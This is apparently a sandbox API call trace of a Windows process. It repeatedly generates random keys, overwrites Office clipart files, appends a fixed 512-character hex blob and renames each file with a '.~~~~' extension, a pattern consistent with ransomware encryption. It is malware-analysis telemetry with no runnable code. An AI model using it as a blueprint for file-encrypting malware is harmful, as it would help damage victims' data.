	[0108.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829ed8
	[0108.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.778] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0108.779] GetLastError () returned 0x0
	[0108.779] GetLastError () returned 0x0
	[0108.779] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0108.779] GetLastError () returned 0x0
	[0108.779] GetLastError () returned 0x0
	[0108.782] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffea0a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.782] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x15f6, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x15f6, lpOverlapped=0x0) returned 1
	[0108.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0108.783] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.783] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.783] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.783] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.783] CloseHandle (hObject=0x140) returned 1
	[0108.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.784] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf.~~~~")) returned 1
	[0108.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0108.785] GetLastError () returned 0x0
	[0108.786] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942208) returned 1
	[0108.787] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.787] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0108.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0108.787] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22877710069) returned 1
	[0108.787] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaa80d550, dwHighDateTime=0x1d60e1e)) 
	[0108.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0108.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0108.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0108.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dfc0
	[0108.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dfc0 | out: hHeap=0x300000) returned 1
	[0108.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829f70
	[0108.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.788] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0108.788] GetLastError () returned 0x0
	[0108.788] GetLastError () returned 0x0
	[0108.788] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0108.788] GetLastError () returned 0x0
	[0108.789] GetLastError () returned 0x0
	[0108.791] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffef70, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.791] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x1090, lpOverlapped=0x0) returned 1
	[0108.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0108.793] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.793] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.793] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.793] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.793] CloseHandle (hObject=0x140) returned 1
	[0108.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.793] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf.~~~~")) returned 1
	[0108.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0108.795] GetLastError () returned 0x0
	[0108.795] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942208) returned 1
	[0108.796] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.796] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.796] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.796] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0108.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0108.797] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22878669681) returned 1
	[0108.797] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaa80d550, dwHighDateTime=0x1d60e1e)) 
	[0108.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0108.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0108.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0108.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39df88
	[0108.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.797] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39df88 | out: hHeap=0x300000) returned 1
	[0108.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.797] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.797] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.797] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282a008
	[0108.797] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.797] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0108.798] GetLastError () returned 0x0
	[0108.798] GetLastError () returned 0x0
	[0108.798] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0108.798] GetLastError () returned 0x0
	[0108.798] GetLastError () returned 0x0
	[0108.839] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffce1e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.839] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x31e2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x31e2, lpOverlapped=0x0) returned 1
	[0108.839] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0108.843] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.843] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.843] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.843] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.843] CloseHandle (hObject=0x140) returned 1
	[0108.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a4ab0
	[0108.863] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf.~~~~")) returned 1
	[0108.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a4ab0 | out: hHeap=0x300000) returned 1
	[0108.915] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0108.915] GetLastError () returned 0x0
	[0108.915] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942208) returned 1
	[0108.916] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.916] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0108.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0108.916] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22890649815) returned 1
	[0108.916] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaa93e050, dwHighDateTime=0x1d60e1e)) 
	[0108.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0108.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0108.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0108.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808640
	[0108.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.917] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808640 | out: hHeap=0x300000) returned 1
	[0108.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.917] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a4ab0
	[0108.917] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282a0a0
	[0108.917] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a4ab0 | out: hHeap=0x300000) returned 1
	[0108.917] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0108.917] GetLastError () returned 0x0
	[0108.918] GetLastError () returned 0x0
	[0108.918] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0108.918] GetLastError () returned 0x0
	[0108.918] GetLastError () returned 0x0
	[0108.938] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffde3e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.938] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x21c2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x21c2, lpOverlapped=0x0) returned 1
	[0108.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0108.939] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.940] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.940] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.940] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.940] CloseHandle (hObject=0x140) returned 1
	[0108.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.940] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf.~~~~")) returned 1
	[0108.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0108.969] GetLastError () returned 0x0
	[0108.970] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942208) returned 1
	[0108.971] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.971] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.971] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0108.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0108.971] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22896094248) returned 1
	[0108.971] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaa9b0470, dwHighDateTime=0x1d60e1e)) 
	[0108.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0108.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0108.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0108.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808758
	[0108.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.971] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808758 | out: hHeap=0x300000) returned 1
	[0108.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.971] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.971] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282a690
	[0108.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.972] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0108.972] GetLastError () returned 0x0
	[0108.972] GetLastError () returned 0x0
	[0108.972] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0108.972] GetLastError () returned 0x0
	[0108.972] GetLastError () returned 0x0
	[0109.019] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe8c2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.019] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x173e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x173e, lpOverlapped=0x0) returned 1
	[0109.020] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0109.020] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.020] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0109.024] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0109.024] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0109.024] CloseHandle (hObject=0x140) returned 1
	[0109.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0109.025] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf.~~~~")) returned 1
	[0109.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0109.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0109.316] GetLastError () returned 0x0
	[0109.352] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942208) returned 1
	[0109.353] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0109.353] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0109.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0109.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0109.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0109.354] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22934378517) returned 1
	[0109.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaad42570, dwHighDateTime=0x1d60e1e)) 
	[0109.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0109.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0109.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0109.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28c1c20
	[0109.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0109.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28c1c20 | out: hHeap=0x300000) returned 1
